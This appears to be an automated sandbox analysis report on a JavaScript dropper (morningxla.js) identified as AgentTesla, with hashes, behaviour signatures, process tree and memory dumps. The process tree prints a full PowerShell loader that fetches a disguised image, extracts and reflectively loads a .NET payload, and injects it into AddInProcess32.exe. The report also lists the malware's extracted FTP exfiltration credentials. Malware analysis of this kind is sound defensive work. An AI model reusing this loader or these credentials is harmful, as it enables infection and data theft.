Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
25-04-2024 09:42
Static task
static1
Behavioral task
behavioral1
Sample
morningxla.js
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
morningxla.js
Resource
win10v2004-20240412-en
General
-
Target
morningxla.js
-
Size
5KB
-
MD5
8cf579f458819a211f06d8d115980db4
-
SHA1
07a073341bb83d3ca8bd3ce21edaa5c3e631087a
-
SHA256
65545c87941558733f8e159addc75b5f17e2597e05af3055a708fd49a6164f91
-
SHA512
5fd3280406cc5e4c72209ea9712ee905e27b7804dd56c80ae1c33896a837c517a43485658be3095926457a35000d7f5521d6711092b8ebdaf948cbb5308bd7d6
-
SSDEEP
96:7riEOkQDTAvKq8YjBPBERHnfrL3DGZzmwI7:HiEN1xAL3DGZzq
Malware Config
Extracted
agenttesla
Protocol: ftp- Host:
ftp://ftp.fosna.net - Port:
21 - Username:
[email protected] - Password:
=A+N^@~c]~#I
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Blocklisted process makes network request 6 IoCs
Processes:
wscript.exepowershell.exeflow pid process 4 2324 wscript.exe 7 2324 wscript.exe 10 2624 powershell.exe 12 2624 powershell.exe 14 2624 powershell.exe 17 2624 powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 19 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2624 set thread context of 1756 2624 powershell.exe AddInProcess32.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exeAddInProcess32.exepid process 2616 powershell.exe 2624 powershell.exe 1756 AddInProcess32.exe 1756 AddInProcess32.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exeAddInProcess32.exedescription pid process Token: SeDebugPrivilege 2616 powershell.exe Token: SeDebugPrivilege 2624 powershell.exe Token: SeDebugPrivilege 1756 AddInProcess32.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
wscript.exepowershell.exepowershell.exedescription pid process target process PID 2324 wrote to memory of 2616 2324 wscript.exe powershell.exe PID 2324 wrote to memory of 2616 2324 wscript.exe powershell.exe PID 2324 wrote to memory of 2616 2324 wscript.exe powershell.exe PID 2616 wrote to memory of 2624 2616 powershell.exe powershell.exe PID 2616 wrote to memory of 2624 2616 powershell.exe powershell.exe PID 2616 wrote to memory of 2624 2616 powershell.exe powershell.exe PID 2624 wrote to memory of 1756 2624 powershell.exe AddInProcess32.exe PID 2624 wrote to memory of 1756 2624 powershell.exe AddInProcess32.exe PID 2624 wrote to memory of 1756 2624 powershell.exe AddInProcess32.exe PID 2624 wrote to memory of 1756 2624 powershell.exe AddInProcess32.exe PID 2624 wrote to memory of 1756 2624 powershell.exe AddInProcess32.exe PID 2624 wrote to memory of 1756 2624 powershell.exe AddInProcess32.exe PID 2624 wrote to memory of 1756 2624 powershell.exe AddInProcess32.exe PID 2624 wrote to memory of 1756 2624 powershell.exe AddInProcess32.exe PID 2624 wrote to memory of 1756 2624 powershell.exe AddInProcess32.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\morningxla.js1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2324 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'ZnVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkZG93bmxvYWRlZERhdGEgPSBAKCk7ICRzaHVmZmxlZExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLkxlbmd0aDsgZm9yZWFjaCAoJGxpbmsgaW4gJHNodWZmbGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkZWREYXRhICs9ICR3ZWJDbGllbnQuRG93bmxvYWREYXRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyByZXR1cm4gJGRvd25sb2FkZWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc3My84MTIvb3JpZ2luYWwvanMuanBnPzE3MTM4ODI3NzgnLCAnaHR0cHM6Ly91cGxvYWRkZWltYWdlbnMuY29tLmJyL2ltYWdlcy8wMDQvNzczLzgxMi9vcmlnaW5hbC9qcy5qcGc/MTcxMzg4Mjc3OCcpOyAkaW1hZ2VCeXRlcyA9IERvd25sb2FkRGF0YUZyb21MaW5rcyAkbGlua3M7IGlmICgkaW1hZ2VCeXRlcyAtbmUgJG51bGwpIHsgJGltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRpbWFnZUJ5dGVzKTsgJHN0YXJ0RmxhZyA9ICc8PEJBU0U2NF9TVEFSVD4+JzsgJGVuZEZsYWcgPSAnPDxCQVNFNjRfRU5EPj4nOyAkc3RhcnRJbmRleCA9ICRpbWFnZVRleHQuSW5kZXhPZigkc3RhcnRGbGFnKTsgJGVuZEluZGV4ID0gJGltYWdlVGV4dC5JbmRleE9mKCRlbmRGbGFnKTsgaWYgKCRzdGFydEluZGV4IC1nZSAwIC1hbmQgJGVuZEluZGV4IC1ndCAkc3RhcnRJbmRleCkgeyAkc3RhcnRJbmRleCArPSAkc3RhcnRGbGFnLkxlbmd0aDsgJGJhc2U2NExlbmd0aCA9ICRlbmRJbmRleCAtICRzdGFydEluZGV4OyAkYmFzZTY0Q29tbWFuZCA9ICRpbWFnZVRleHQuU3Vic3RyaW5nKCRzdGFydEluZGV4LCAkYmFzZTY0TGVuZ3RoKTsgJGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGJhc2U2NENvbW1hbmQpOyAkbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjb21tYW5kQnl0ZXMpOyAkdHlwZSA9ICRsb2FkZWRBc3NlbWJseS5HZXRUeXBlKCdQUk9KRVRPQVVUT01BQ0FPLlZCLkhvbWUnKTsgJG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dICgndHh0LjQ0NDQ2ZXphYi83Ny4wNi41OS4zMi8vOnB0dGgnICwgJ2Rlc2F0aXZhZG8nICwgJ2Rlc2F0aXZhZG8nICwgJ2Rlc2F0aXZhZG8nLCdBZGRJblByb2Nlc3MzMicsJ2Rlc2F0aXZhZG8nKSl9fQ==';$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2616 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778', 'https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.44446ezab/77.06.59.32//:ptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))}}"3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2624 -
C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1756
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015Filesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015Filesize
344B
MD5d0565d2a53b7bd9b5d5dc8b3e78e79b2
SHA142c261cec76c26211b92b2b1880f1fe59d136109
SHA256fe2e5e7ea5ebbf8322118523051d93768cc1c719d57f3d0d323a5b817711a4fa
SHA512fcb63fed0b9acdf5da0c4709a7c28dd1f0c038881e8342196a416ad82e1578d9768b51c7f66be59c6df44535b6214bef8d86161368fd889b7a42087fa9fc5bf9
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015Filesize
344B
MD590f90dd12c2aa16e5ba79840c9170bba
SHA1ea6801d766e152e45dce3726f33e7d495fcf8f1a
SHA2569a3d1cf965de632a28db47c6d39c0322cb08fe6fba646a428b6ba00703ae955f
SHA512657ac9b335c22e1ad9da061b641444d8a345a57bf6451f641fff998530cf60c05bef97228484c10c6d3d93c68214c79d494dbbfe5f14ad93d2e8e1c9d6b66a7a
-
C:\Users\Admin\AppData\Local\Temp\Cab276E.tmpFilesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
-
C:\Users\Admin\AppData\Local\Temp\Tar2781.tmpFilesize
171KB
MD59c0c641c06238516f27941aa1166d427
SHA164cd549fb8cf014fcd9312aa7a5b023847b6c977
SHA2564276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
SHA512936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06
-
C:\Users\Admin\AppData\Local\Temp\Tar2851.tmpFilesize
177KB
MD5435a9ac180383f9fa094131b173a2f7b
SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5d65dbbd320596254aef90af26b78e511
SHA108582966f9e1df1c293a8432443cceb79b7c7d81
SHA25602884ac9f40fc18a006b114718be112a34cdae71b82aa499e16b7127631644d2
SHA512219ae61a465c28d157d33677d68c2b924d2b79358fe56ec0f9e3a23e3f731f0f2a25f45252aa720a5eb333910fb02903c5e70ac07d13580a341db6e47ef6e6c8
-
memory/1756-113-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
-
memory/1756-122-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
-
memory/1756-114-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
-
memory/1756-115-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
-
memory/1756-116-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
-
memory/1756-117-0x000000007EFDE000-0x000000007EFDF000-memory.dmpFilesize
4KB
-
memory/1756-118-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
-
memory/1756-120-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
-
memory/1756-124-0x0000000073CE0000-0x00000000743CE000-memory.dmpFilesize
6.9MB
-
memory/1756-126-0x0000000004B30000-0x0000000004B70000-memory.dmpFilesize
256KB
-
memory/1756-127-0x0000000073CE0000-0x00000000743CE000-memory.dmpFilesize
6.9MB
-
memory/1756-128-0x0000000004B30000-0x0000000004B70000-memory.dmpFilesize
256KB
-
memory/2616-105-0x0000000002D60000-0x0000000002DE0000-memory.dmpFilesize
512KB
-
memory/2616-31-0x0000000002D60000-0x0000000002DE0000-memory.dmpFilesize
512KB
-
memory/2616-106-0x0000000002D60000-0x0000000002DE0000-memory.dmpFilesize
512KB
-
memory/2616-21-0x0000000001D90000-0x0000000001D98000-memory.dmpFilesize
32KB
-
memory/2616-22-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmpFilesize
9.6MB
-
memory/2616-23-0x0000000002D60000-0x0000000002DE0000-memory.dmpFilesize
512KB
-
memory/2616-20-0x000000001B7C0000-0x000000001BAA2000-memory.dmpFilesize
2.9MB
-
memory/2616-125-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmpFilesize
9.6MB
-
memory/2616-25-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmpFilesize
9.6MB
-
memory/2616-26-0x0000000002D60000-0x0000000002DE0000-memory.dmpFilesize
512KB
-
memory/2624-112-0x000000001ADC0000-0x000000001B080000-memory.dmpFilesize
2.8MB
-
memory/2624-35-0x0000000001D60000-0x0000000001DE0000-memory.dmpFilesize
512KB
-
memory/2624-32-0x0000000001D60000-0x0000000001DE0000-memory.dmpFilesize
512KB
-
memory/2624-34-0x0000000001D60000-0x0000000001DE0000-memory.dmpFilesize
512KB
-
memory/2624-33-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmpFilesize
9.6MB
-
memory/2624-123-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmpFilesize
9.6MB
-
memory/2624-36-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmpFilesize
9.6MB
-
memory/2624-37-0x0000000001D60000-0x0000000001DE0000-memory.dmpFilesize
512KB
-
memory/2624-109-0x0000000001D60000-0x0000000001DE0000-memory.dmpFilesize
512KB
-
memory/2624-108-0x000007FEF5300000-0x000007FEF5C9D000-memory.dmpFilesize
9.6MB
-
memory/2624-107-0x0000000001D60000-0x0000000001DE0000-memory.dmpFilesize
512KB